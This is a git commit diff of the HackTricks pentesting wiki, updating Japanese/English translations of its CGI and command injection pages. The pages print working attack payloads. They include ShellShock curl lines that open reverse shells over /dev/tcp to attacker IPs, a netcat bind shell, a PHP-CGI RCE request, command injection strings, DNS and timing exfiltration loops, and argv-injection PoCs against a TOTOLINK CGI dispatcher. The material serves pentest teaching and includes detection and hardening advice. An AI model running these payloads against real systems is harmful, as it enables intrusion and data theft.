mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/command-injection.md', 'src/network-
This commit is contained in:
parent
f5a4c249a4
commit
408114d4f4
@ -1,27 +1,30 @@
|
||||
# CGI Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# 情報
|
||||
|
||||
**CGIスクリプトはperlスクリプト**です。したがって、_**.cgi**_スクリプトを実行できるサーバーを侵害した場合、**perlリバースシェル** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) を**アップロード**し、**拡張子**を**.pl**から**.cgi**に変更し、**実行権限** \(`chmod +x`\) を与え、**ウェブブラウザ**からリバースシェルに**アクセス**して実行できます。
|
||||
**CGI脆弱性**をテストするには、`nikto -C all` \(およびすべてのプラグイン\) を使用することをお勧めします。
|
||||
## 情報
|
||||
|
||||
# **ShellShock**
|
||||
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it.
|
||||
In order to test for **CGI vulns** it's recommended to use `nikto -C all` (and all the plugins)
|
||||
|
||||
**ShellShock**は、Unixベースのオペレーティングシステムで広く使用されている**Bash**コマンドラインシェルに影響を与える**脆弱性**です。これは、アプリケーションによって渡されたコマンドを実行するBashの能力をターゲットにしています。脆弱性は、**環境変数**の操作にあります。環境変数は、コンピュータ上でプロセスがどのように実行されるかに影響を与える動的な名前付き値です。攻撃者は、環境変数に**悪意のあるコード**を添付することでこれを悪用し、変数を受け取ると実行されます。これにより、攻撃者はシステムを侵害する可能性があります。
|
||||
## **ShellShock**
|
||||
|
||||
この脆弱性を悪用すると、**ページがエラーを返す**可能性があります。
|
||||
**ShellShock** is a **vulnerability** that affects the widely used **Bash** command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.
|
||||
|
||||
この脆弱性を**見つける**には、**古いApacheバージョン**と**cgi_mod** \(cgiフォルダー付き\) を使用していることに気づくか、**nikto**を使用します。
|
||||
Exploiting this vulnerability the **ページがエラーを返す可能性がある**。
|
||||
|
||||
## **テスト**
|
||||
You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi_mod** (with cgi folder) or using **nikto**.
|
||||
|
||||
ほとんどのテストは、何かをエコーし、その文字列がウェブレスポンスに返されることを期待することに基づいています。ページが脆弱である可能性があると思われる場合は、すべてのcgiページを検索してテストしてください。
|
||||
### **テスト**
|
||||
|
||||
ほとんどのテストは echo で何かを出力し、その文字列が web レスポンスに返されることを確認するものです。ページが脆弱と思われる場合は、すべての cgi ページを検索してテストしてください。
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||
```
|
||||
## **Curl \(リフレクティッド、ブラインド、アウトオブバンド\)**
|
||||
## **Curl \(reflected, blind and out-of-band\)**
|
||||
```bash
|
||||
# Reflected
|
||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||
@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
|
||||
```bash
|
||||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||||
```
|
||||
## エクスプロイト
|
||||
### Exploit
|
||||
```bash
|
||||
#Bind Shell
|
||||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||||
@ -48,24 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
# **プロキシ \(MitMからWebサーバーリクエストへ\)**
|
||||
## 集中型 CGI dispatchers (single endpoint routing via selector parameters)
|
||||
|
||||
CGIは、httpリクエストの各ヘッダーに対して環境変数を作成します。例えば:「host:web.com」は「HTTP_HOST」="web.com"として作成されます。
|
||||
多くの embedded web UIs は、単一の CGI エンドポイント(例: `/cgi-bin/cstecgi.cgi`)の背後で数十の特権アクションを多重化し、`topicurl=<handler>` のような selector parameter を使ってリクエストを内部関数にルーティングします。
|
||||
|
||||
HTTP_PROXY変数はWebサーバーによって使用される可能性があります。**ヘッダー**に「**Proxy: <IP_attacker>:<PORT>**」を含めて送信してみてください。そして、サーバーがセッション中にリクエストを実行する場合、サーバーによって行われた各リクエストをキャプチャすることができます。
|
||||
Methodology to exploit these routers:
|
||||
|
||||
# 古いPHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
|
||||
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
|
||||
|
||||
基本的に、cgiがアクティブで、phpが「古い」\(<5.3.12 / < 5.4.2\)場合、コードを実行できます。
|
||||
この脆弱性を悪用するには、パラメータを送信せずに\(特に「=」文字を送信せずに\)WebサーバーのいくつかのPHPファイルにアクセスする必要があります。
|
||||
次に、この脆弱性をテストするために、例えば`/index.php?-s`にアクセスすると\( `-s`に注意\)、**アプリケーションのソースコードがレスポンスに表示されます**。
|
||||
Generic exploit shapes:
|
||||
```http
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
次に、**RCE**を取得するために、この特別なクエリを送信できます:`/?-d allow_url_include=1 -d auto_prepend_file=php://input`と**リクエストのボディ内で実行されるPHPコード**。
|
||||
例:**
|
||||
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
|
||||
topicurl=<handler>¶m=-n
|
||||
|
||||
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
|
||||
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
|
||||
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
検知とハードニング:
|
||||
|
||||
- 中央集約された CGI エンドポイントへの未認証のリクエストで `topicurl` がセンシティブなハンドラに設定されているものを監視する。
|
||||
- 先頭が `-` のパラメータ(argv オプション注入の試み)をフラグ付けする。
|
||||
- ベンダー向け: すべての状態を変更するハンドラに対して認証を強制し、厳密な許可リスト/型/長さで検証し、ユーザー制御可能な文字列をコマンドラインフラグとして渡さないこと。
|
||||
|
||||
## 古い PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
基本的に cgi が有効で php が「古い」\(<5.3.12 / < 5.4.2\) 場合、コードを実行できる。
|
||||
この脆弱性を悪用するには、パラメータを送信せずに(特に文字 "=" を送信せずに)ウェブサーバの PHP ファイルにアクセスする必要がある。
|
||||
テストするためには、例えば `/index.php?-s` にアクセスする(`-s` に注意)と、**アプリケーションのソースコードがレスポンスに表示される**。
|
||||
|
||||
その後、**RCE** を得るために次の特殊なクエリを送信できる: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` と、実行する **PHP code** を **body of the request.
|
||||
例:**
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**脆弱性と可能なエクスプロイトに関する詳細:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
**脆弱性と利用可能なエクスプロイトの詳細:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM to Web server requests\)**
|
||||
|
||||
CGI は HTTP リクエストの各ヘッダごとに環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" と作成されます。
|
||||
|
||||
HTTP_PROXY 変数が web server によって使用される可能性があるため、**header** に "**Proxy: <IP_attacker>:<PORT>**" を含めて送ってみてください。サーバがセッション中に何らかのリクエストを行う場合、サーバが行った各リクエストをキャプチャできます。
|
||||
|
||||
## **参考**
|
||||
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## command Injectionとは何か?
|
||||
## What is command Injection?
|
||||
|
||||
A **command injection**により、攻撃者はアプリケーションをホストしているサーバ上で任意のOSコマンドを実行できます。その結果、アプリケーションとその全データが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムへの不正アクセスや制御を得ることが一般的に可能になります。
|
||||
**command injection** により、攻撃者はアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行できます。その結果、アプリケーションおよびその全データが完全に侵害される可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基盤となるシステムへの不正アクセスや制御を取得できます。
|
||||
|
||||
### コンテキスト
|
||||
|
||||
**入力がどこに挿入されているか**によって、コマンドの前に**クォートされたコンテキストを終了する**(`"` や `'` を使って)必要がある場合があります。
|
||||
入力がどこに注入されているかによっては、コマンドの前に**引用されたコンテキストを終了する**(`"` または `'` を使用)必要がある場合があります。
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limition** バイパス
|
||||
### **制限** Bypasses
|
||||
|
||||
もし **linux マシン内で任意のコマンド** を実行しようとしているなら、これらの**バイパス**を読むと興味があるでしょう:
|
||||
もし**linuxマシン内で任意のコマンドを実行する**ことを試みているなら、この**Bypasses:**を読むと役立ちます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### パラメータ
|
||||
|
||||
以下は code injection や類似の RCE 脆弱性の影響を受ける可能性がある上位25のパラメータです(出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
以下は、code injection や類似の RCE 脆弱性に対して脆弱であり得る上位25のパラメータです(出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
データ抽出:1文字ずつ
|
||||
データを1文字ずつ抽出する
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
||||
```
|
||||
### DNS による data exfiltration
|
||||
|
||||
ツール `https://github.com/HoLyVieR/dnsbin` をベースにしており、dnsbin.zhack.ca にもホストされています。
|
||||
ツール `https://github.com/HoLyVieR/dnsbin` に基づく。dnsbin.zhack.ca にもホストされている。
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
DNS based data exfiltration をチェックするオンラインツール:
|
||||
DNS ベースの data exfiltration をチェックするオンラインツール:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### Node.js `child_process.exec` と `execFile`
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
JavaScript/TypeScript のバックエンドを監査する際、Node.js の `child_process` API をよく目にします。
|
||||
JavaScript/TypeScript のバックエンドを監査する際、Node.js の `child_process` API にしばしば遭遇します。
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` は **shell** (`/bin/sh -c`) を起動するため、**shell** に特別な意味を持つ文字(バッククォート、`;`、`&&`、`|`、`$()`、…)がユーザー入力を文字列に連結した際に **command injection** を引き起こします。
|
||||
`exec()` は **shell** (`/bin/sh -c`) を起動するため、**shell** に特別な意味を持つ文字(back-ticks、`;`、`&&`、`|`、`$()`、…)がユーザ入力を文字列に連結したときに **command injection** を引き起こします。
|
||||
|
||||
**緩和策:** `execFile()` を使用する(または `spawn()` を `shell` オプションなしで使用)し、**各引数を配列の別要素として渡す**ことで **shell** を介さないようにする:
|
||||
**緩和策:** `execFile()` を使用する(または `shell` オプションなしで `spawn()` を使用)し、**各引数を別々の配列要素として渡す**ことで shell が介在しないようにします:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,8 +140,37 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocket イベントを介して攻撃者が制御するデータが `id_user` に配置され、その後 `exec()` 呼び出しに埋め込まれて RCE を達成しました(Pwn2Own Ireland 2024)。
|
||||
実際の事例: *Synology Photos* ≤ 1.7.0-0794 は、認証なしの WebSocket イベントを介して攻撃者が制御するデータを `id_user` に配置し、その後 `exec()` 呼び出しに埋め込まれて RCE を達成できる脆弱性がありました (Pwn2Own Ireland 2024)。
|
||||
|
||||
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||
|
||||
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
|
||||
|
||||
典型的な発生箇所:
|
||||
|
||||
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
|
||||
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
|
||||
|
||||
試してみること:
|
||||
|
||||
- 下流のツールにフラグとして解釈されるよう、`-`/`--` で始まる値を渡す。
|
||||
- 振る舞いを変えたりファイルを書き込んだりするフラグを悪用する。例えば:
|
||||
- `ping`: `-f`/`-c 100000` でデバイスに負荷をかける (DoS)
|
||||
- `curl`: `-o /tmp/x` で任意パスに書き出す、`-K <url>` で攻撃者制御の設定を読み込む
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` で unsafe wrapper におけるローテート後の実行を狙う
|
||||
- プログラムがオプション終端の `--` をサポートしている場合、誤った位置に `--` を前置するような安易な対策を回避できないか試す。
|
||||
|
||||
centralized CGI dispatchers に対する一般的な PoC の形:
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
# Flip options in a downstream tool via argv injection
|
||||
topicurl=<handler>¶m=-n
|
||||
|
||||
# Unauthenticated RCE when a handler concatenates into a shell
|
||||
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
```
|
||||
## Brute-Force 検出リスト
|
||||
|
||||
|
||||
@ -149,7 +178,7 @@ Real-world case: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocke
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## 参考
|
||||
## 参考資料
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user